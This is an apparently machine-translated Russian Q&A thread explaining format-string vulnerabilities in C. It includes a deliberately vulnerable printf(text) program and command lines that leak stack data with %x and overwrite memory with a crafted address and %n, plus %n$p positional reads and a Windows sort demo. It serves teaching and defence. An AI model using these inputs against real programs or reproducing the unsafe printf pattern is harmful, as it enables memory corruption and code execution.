Подтвердить что ты не робот

Как можно использовать уязвимость Format-String?

Я читал об уязвимостях в коде и сталкивался с этой уязвимостью Format-String.

Wikipedia говорит:

Ошибки форматирования строки чаще всего появляются, когда программист хочет напечатайте строку, содержащую данные, предоставленные пользователем. Программист может ошибочно пишите printf (buffer) вместо printf ( "% s", buffer). первая версия интерпретирует буфер как строку формата и анализирует любые которые могут содержать инструкции по форматированию. Вторая версия просто печатает строку на экране, как предполагал программист.

У меня возникла проблема с версией printf (buffer), но я до сих пор не понял, как эта уязвимость может быть использована злоумышленником для выполнения вредоносного кода. Может кто-нибудь, пожалуйста, скажите мне, как эта уязвимость может быть использована на примере?

4b9b3361

Ответ 1

Вы можете использовать уязвимость строки формата разными способами, прямо или косвенно. В качестве примера воспользуйтесь приведенным ниже примером (при условии, что никаких соответствующих защит ОС, что очень редко встречается):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

Основой этой уязвимости является поведение функций с переменными аргументами. Функция, которая реализует обработку переменного количества параметров, должна, по сути, читать их из стека. Если мы укажем строку формата, которая сделает printf() ожидание двух целых чисел в стеке, и мы предоставим только один параметр, второй должен быть чем-то еще в стеке. По расширению, и если у нас есть контроль над строкой формата, мы можем иметь два основных элементарных примитива:


Чтение с произвольных адресов памяти

[EDIT] ВАЖНО: Я делаю некоторые предположения о макете фрейма стека здесь. Вы можете игнорировать их, если понимаете основную предпосылку уязвимости, и в любом случае они различаются между ОС, платформой, программой и конфигурацией.

Можно использовать параметр формата %s для чтения данных. Вы можете прочитать данные исходной строки формата в printf(text), поэтому вы можете использовать ее для чтения чего-либо из стека:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

Запись на произвольные адреса памяти

Вы можете использовать спецификатор формата %n для записи на произвольный адрес (почти). Опять же, предположим, что наша уязвимая программа выше, и попробуйте изменить значение some_value, которое расположено в 0x08049794, как показано выше:

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

Мы перезаписали some_value с количеством байтов, записанных перед спецификатором %n, (man printf). Мы можем использовать строку формата или ширину поля для управления этим значением:

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

Есть много возможностей и трюков, чтобы попробовать (прямой доступ к параметрам, большая ширина поля, позволяющая обертывание, создание собственных примитивов), и это просто касается верхушки айсберга. Я бы посоветовал прочитать больше статей об уязвимостях fmt string (у Phrack есть некоторые, в основном, превосходные, хотя они могут быть немного продвинуты) или книга, затрагивающая тему.


Отказ от ответственности: примеры взяты [хотя и не дословно) из книги "Взлом: искусство эксплуатации" (2-е изд.) Джона Эриксона.

Ответ 2

Интересно, что никто не упомянул нотацию n$, поддерживаемую POSIX. Если вы можете управлять строкой формата в качестве злоумышленника, вы можете использовать такие обозначения, как:

"%200$p"

чтобы прочитать элемент 200 th в стеке (если он есть). Предполагается, что вы должны перечислить все числа n$ от 1 до максимума и предоставить способ переупорядочения того, как параметры отображаются в строке формата, что удобно при работе с I18N (L10N, G11N, M18N *).

Однако некоторые (возможно, большинство) систем несколько недовольны тем, как они подтверждают значения n$, и это может привести к злоупотреблениям злоумышленниками, которые могут управлять строкой формата. В сочетании с спецификатором формата %n это может привести к записи в местах указателей.


* Сокращения I18N, L10N, G11N и M18N предназначены для интернационализации, локализации, глобализации и мультинационализации соответственно. Число представляет количество пропущенных букв.

Ответ 3

А, ответ в статье!

Неконтролируемая строка формата - это тип уязвимости программного обеспечения, обнаруженной около 1999 года, которая может использоваться в целях безопасности. Раньше считалось, что безвредные эксплоиты строки формата могут использоваться для сбоя программы или выполнить вредоносный код.

Типичный эксплойт использует комбинацию этих методов, чтобы заставить программу переписать адрес библиотечной функции или адрес возврата в стеке с указателем на какой-то вредоносный шелл-код. Параметры заполнения для форматирования спецификаторов используются для управления количеством выходных байтов, а токен %x используется для посылки байтов из стека до тех пор, пока не будет достигнуто начало самой строки формата. Начало строки формата создается таким образом, чтобы содержать адрес, в котором тег формата %n может затем перезаписываться с адресом вредоносного кода для выполнения.

Это связано с тем, что %n заставляет printf записывать данные в переменную, которая находится в стеке. Но это означает, что он мог бы написать что-то произвольно. Все, что вам нужно, это для кого-то использовать эту переменную (это относительно легко, если это будет указатель на функцию, значение которого вы только что определили, как управлять), и они могут заставить вас выполнить что угодно произвольно.

Взгляните на ссылки в этой статье; они выглядят интересными.

Ответ 4

Я бы рекомендовал прочитать эту лекционную заметку об уязвимости строки формата. Он подробно описывает, что происходит и как, и имеет некоторые изображения, которые могут помочь вам понять эту тему.

Ответ 5

AFAIK это в основном потому, что может привести к сбою вашей программы, которая считается атакой типа "отказ в обслуживании". Все, что вам нужно - это указать неверный адрес (практически с несколькими %s гарантированно будет работать), и это станет простой атакой отказа в обслуживании (DoS).

Теперь теоретически возможно, что это может вызвать что-либо в случае обработчика исключения/сигнала/прерывания, но выяснение того, как это сделать, выходит за рамки меня - вам нужно выяснить, как записывать произвольные данные в память как хорошо.

Но почему кому-то все равно, если программа выйдет из строя, спросите вы? Разве это не просто неудобно для пользователя (кто его все равно заслуживает)?

Проблема заключается в том, что некоторые программы получают доступ к нескольким пользователям, поэтому их сбой имеет незначительную стоимость. Или иногда они имеют решающее значение для работы системы (или, может быть, они в середине делают что-то очень критичное), и в этом случае это может повредить ваши данные. Конечно, если вы рухнете "Блокнот", тогда никто не будет волновать, но если вы столкнетесь с CSRSS (на мой взгляд, на самом деле была подобная ошибка), в частности, проблема с двойной ошибкой), тогда да, вся система идет вниз с вами.


Обновление:

См. эту ссылку для ошибки CSRSS, о которой я имел в виду.


Изменить:

Обратите внимание, что чтение произвольных данных может быть столь же опасным, как выполнение произвольного кода! Если вы читаете пароль, куки файл и т.д., То это так же серьезно, как и выполнение произвольного кода - и это тривиально, если у вас достаточно времени, чтобы попробовать достаточно строк формата.

Ответ 6

Простой пример "Сделай сам": (Я знаю, что он работает на winxp-win7, не знаю о win8) откройте командную строку в окнах

C:\>sort idontexists
idontexistsThe system cannot find the file specified.

C:\>sort idontexists%s
idontexists"The system cannot find the file specified.

C:\>sort idontexists%s
idontexists,The system cannot find the file specified.

C:\>sort idontexists%s
idontexistsóThe system cannot find the file specified.

C:\>sort idontexists%s
idontexists!The system cannot find the file specified.

C:\>sort idontexists%s
idontexistsºThe system cannot find the file specified.

Когда файла не найдено, программа эхо-первого аргумента и он заменяет% s некоторым значением из стека...

Ответ 7

Объяснение. Помните, что любая функция varargs в c должна знать, сколько параметров он получает. В printf это выполняется путем анализа 1-го параметра. Если вы измените первый параметр так, чтобы printf думал, что у него есть дополнительные аргументы, из стека выйдет больше вещей. (Ссылка на wikipedia должна охватывать это более подробно).